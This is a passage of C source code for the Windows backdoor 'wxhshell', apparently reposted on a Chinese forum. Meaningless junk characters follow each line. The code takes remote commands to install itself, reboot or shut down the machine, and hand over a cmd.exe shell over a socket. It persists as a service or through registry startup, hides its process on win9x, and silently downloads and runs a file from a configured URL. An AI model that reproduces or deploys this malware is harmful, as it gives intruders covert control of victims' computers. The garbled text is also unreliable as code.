Bk*AO?3p  
    switch(cmd[0]) { Q"S;r1 D  
  Az{Z=:(0  
  // 帮助 g&) XaF[!  
  case '?': { G)G5eXXX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UOi8>;k`  
    break; "}Vow^vb  
  } +.:- :  
  // 安装 &V:iy  
  case 'i': { gYw4YP0Gz  
    if(Install()) z`y!C3w<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ilHZx2 k  
    else iO~3rWQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JT#jJ/^  
    break; {rBS52,Z#  
    } =E,^ +`M  
  // 卸载 >S,yqKp37~  
  case 'r': { +"'cSAK  
    if(Uninstall()) |1uyJ?%B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?v p' /l"  
    else Gk g)\ 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mbK$_HvU  
    break; k|'{$/ n  
    } ~*@ UQ9*p#  
  // 显示 wxhshell 所在路径 >/9f>d?w^  
  case 'p': { $i;%n1VBg  
    char svExeFile[MAX_PATH]; 1 \:5ow&a  
    strcpy(svExeFile,"\n\r"); R<I)}<g(A3  
      strcat(svExeFile,ExeFile); bk44 qL;8  
        send(wsh,svExeFile,strlen(svExeFile),0); JmjqA Dex  
    break; :q/%uca9  
    } K!;Z#$iw[  
  // 重启 "AMbU6 8  
  case 'b': { #`?B:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7VduewKX8  
    if(Boot(REBOOT)) DD{-xCCR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #?DwOUw  
    else { bz<f u  
    closesocket(wsh); Nk*d=vj  
    ExitThread(0); $aDAD4mmm  
    } \R\?`8O rz  
    break; p#g o<Y#  
    } Q'>pOtJG*J  
  // 关机 )O*\}6:S  
  case 'd': { Cdg/wRje  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e:D8.h+ &}  
    if(Boot(SHUTDOWN)) *")Req  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|.IXdJ!  
    else { x]{}y_  
    closesocket(wsh); 0A9llE  
    ExitThread(0); K[r<-6TS  
    } %38HGjS  
    break; 1fUg  
    } ova4  
  // 获取shell cNOtfn6?F  
  case 's': { ^h\& l{e  
    CmdShell(wsh); WR,MqM20  
    closesocket(wsh); Is57)(^.-  
    ExitThread(0); W<| M0S{  
    break; ]wb^5H  
  } e!k1GTH^  
  // 退出 Uq/FH@E=  
  case 'x': { wX<w)@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [QwEidX|  
    CloseIt(wsh); i7D[5!  
    break; wr>[Eo@%\  
    } AH-B/c5  
  // 离开 S\5%nz \  
  case 'q': { ~;$,h ET  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1seWR"  
    closesocket(wsh); GYH{_Fq  
    WSACleanup(); +)$oy]  
    exit(1); ;\a?xtIy  
    break; R `K1L!`3  
        } cH>@ZFTF  
  } [>--U)/  
  } s R/z)U_  
V9`?s0nn^  
  // 提示信息 M18 >%zM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -J &y]'  
} Z:eB9R#2y  
  } gi {rqM  
k4T`{s}e  
  return; HE!"3S2S&+  
} Uzh#z eZ`<  
Z;/QB6|%  
// shell模块句柄 Y]!WPJ`f2  
int CmdShell(SOCKET sock) U/ds(*g@  
{ gug9cmA/Q7  
STARTUPINFO si; _\&v A5-  
ZeroMemory(&si,sizeof(si)); Wdk]>w 'L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UA4="/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z-%zR'-?*  
PROCESS_INFORMATION ProcessInfo; 65]>6D43  
char cmdline[]="cmd"; *? V boyU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rF?gKk  
  return 0; O, .c gX   
} Yw(O}U 5e  
_p*a`,tK  
// 自身启动模式 Dc@OrQu  
int StartFromService(void) l6_dVK;s  
{ t]gZ^5  
typedef struct ?i{/iH~Sf  
{ p C^=?!:U  
  DWORD ExitStatus; Phq"A[4=O  
  DWORD PebBaseAddress; (jmF7XfU  
  DWORD AffinityMask; >;Ag7Ex  
  DWORD BasePriority; \^oI3K0`  
  ULONG UniqueProcessId; <#nt?Xn  
  ULONG InheritedFromUniqueProcessId; s,CN<`/>x  
}   PROCESS_BASIC_INFORMATION; x`:c0y9uG  
q!;u4J  
PROCNTQSIP NtQueryInformationProcess; )&6ZgRq  
o' EJ,8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *q&^tn b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;{lb_du2:  
~Z`Cu~7  
  HANDLE             hProcess; '[Zgwz;z  
  PROCESS_BASIC_INFORMATION pbi; I3qTSX-  
x$hT+z6DUC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $sxRRe m{?  
  if(NULL == hInst ) return 0; 9 1.gE*D  
N T>[ 2<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3p1U,B}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gp+aUK~o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KPjC<9sby  
u']}Z% A9`  
  if (!NtQueryInformationProcess) return 0; p!o-+@ava  
{nPiIPH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1'B&e)  
  if(!hProcess) return 0; )TfX}  
b|-}?@&7&q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i&TWIl8  
cY^'Cj  
  CloseHandle(hProcess); b($9gre>mI  
QQ,V35Vp[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + mPVI  
if(hProcess==NULL) return 0; 6Vgxfic  
7v&>d,  
HMODULE hMod; @?JFqwq!  
char procName[255]; 6$)FQ U  
unsigned long cbNeeded; ]T<tkvcI  
M3G ecjR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m Ce"=[  
w8D6j%C  
  CloseHandle(hProcess); mY[*(a  
B3 |G&Kg  
if(strstr(procName,"services")) return 1; // 以服务启动 Xhs*nt%l  
-}1TT@  
  return 0; // 注册表启动 MWv(/_b  
} dY{qdQQ}  
[]jbzVwS2  
// 主模块 F'-,Ksn  
int StartWxhshell(LPSTR lpCmdLine) qizQt]l  
{ GdYQq.  
  SOCKET wsl; .?`8B9w  
BOOL val=TRUE; p\P)    
  int port=0; $0gGRCCG;  
  struct sockaddr_in door; 7,s5Gd-  
]D&U} n  
  if(wscfg.ws_autoins) Install(); 3bRW]mP8  
j&u/T  
port=atoi(lpCmdLine); 4T]A! y{  
Y(u`K=*  
if(port<=0) port=wscfg.ws_port; 9;Q|" T  
VAo`R9^D#  
  WSADATA data; 2bOl`{x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nDS\2  
OZ33w-X<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9#>nFs"H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #KNl<V+c}1  
  door.sin_family = AF_INET; 0|<9eD\I=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vb| d  
  door.sin_port = htons(port); b<%c ]z  
Wecxx^vtv6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S5kD|kJ  
closesocket(wsl); R^mkQb>m.  
return 1; "G^TA:O:=  
} *07?U")  
^/VnRpU  
  if(listen(wsl,2) == INVALID_SOCKET) { {+]tx46$  
closesocket(wsl); W^7yh&@lU  
return 1; &>!-67  
} f@gvDo]Y  
  Wxhshell(wsl); b0/YX@  
  WSACleanup(); AB{zkEuK  
+cbF$,M4  
return 0; &=f?:UZ%  
xYZ,.  
} .4ZOm'ko{  
q6ZewuV.  
// 以NT服务方式启动 k }{o: N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Cf!5[0E  
{ *\@RBJGF  
DWORD   status = 0; JVGTmS[3  
  DWORD   specificError = 0xfffffff; `8r$b/6  
J$PlI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F9Af{*Jw?x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4K\o2p?4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !9{UBAh  
  serviceStatus.dwWin32ExitCode     = 0; O._\l?m  
  serviceStatus.dwServiceSpecificExitCode = 0; Qea"49R  
  serviceStatus.dwCheckPoint       = 0; F2\&rC4v  
  serviceStatus.dwWaitHint       = 0; 9|3sNFGX  
W/3sJc9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vvG"rU  
  if (hServiceStatusHandle==0) return; %|%eGidu  
4*L* "vKa  
status = GetLastError(); fC 3T\@(&  
  if (status!=NO_ERROR) `x=$n5= 8  
{  !^8X71W|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dw.I<fns^B  
    serviceStatus.dwCheckPoint       = 0; 5F!Qn\{u{  
    serviceStatus.dwWaitHint       = 0; hs5>Gx  
    serviceStatus.dwWin32ExitCode     = status; j0j!oj)7I  
    serviceStatus.dwServiceSpecificExitCode = specificError; [?hvx}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Y~~C J  
    return; MN8>I=p  
  } &CcW(-  
0b/@QgJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {bADMj1  
  serviceStatus.dwCheckPoint       = 0; _n/73Oh  
  serviceStatus.dwWaitHint       = 0; h@Jg9AM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * nFzfV  
} e(N},s:_  
97U OH  
// 处理NT服务事件,比如:启动、停止 xticC>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vcsSi%M\U  
{ "*t0 t  
switch(fdwControl) j!y9E~Zz  
{ :p,|6~b$  
case SERVICE_CONTROL_STOP: ya{`gjIlW  
  serviceStatus.dwWin32ExitCode = 0; ]jY^*o[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -8Hc M\b  
  serviceStatus.dwCheckPoint   = 0; z9g ++]rkJ  
  serviceStatus.dwWaitHint     = 0; U[|5:qWs  
  { 3 tCTPZy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &F/-%l!  
  } Q"B8l[  
  return; 6^t#sEff]  
case SERVICE_CONTROL_PAUSE: 6%h%h: e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O_7}H)  
  break; Vfga%K%l F  
case SERVICE_CONTROL_CONTINUE: $8i`h}AM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R<Mc+{*>  
  break; %8 D>aS U  
case SERVICE_CONTROL_INTERROGATE: g1|Py t{  
  break; t0jE\6r  
}; IG# wY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t$%<eF@w  
} }^0'IAXi  
%#rtNDi  
// 标准应用程序主函数 4sntSlz)~k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2$kB^g!:o  
{ bhGRD{=  
_/z_ X  
// 获取操作系统版本 :IBP "  
OsIsNt=GetOsVer(); \O4s0*gw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z5n-3h!+ED  
w|]Tt="   
  // 从命令行安装 *;9H\%  
  if(strpbrk(lpCmdLine,"iI")) Install(); -3i(N.)<;  
AWi>(wk<  
  // 下载执行文件 c+E\e]{  
if(wscfg.ws_downexe) { YPGzI]\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fv#ov+B  
  WinExec(wscfg.ws_filenam,SW_HIDE); u6F>o+Td)  
} as]M%|/-I  
Exqz$'(W9  
if(!OsIsNt) { 7%EIn9P  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZzNHEV  
HideProc(); M9A1 8d|  
StartWxhshell(lpCmdLine); Q-V8=.  
} Z^2SG_pD  
else x?V^ l*  
  if(StartFromService()) t6\H  
  // 以服务方式启动 %hN>o)  
  StartServiceCtrlDispatcher(DispatchTable); P7b"(G%  
else vD9\i*\2  
  // 普通方式启动 l[IL~  
  StartWxhshell(lpCmdLine); | n)4APX\Q  
p0 X%^A,4  
return 0; /KWdIP#  
}
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只看该作者 1 发表于: 2006-10-10
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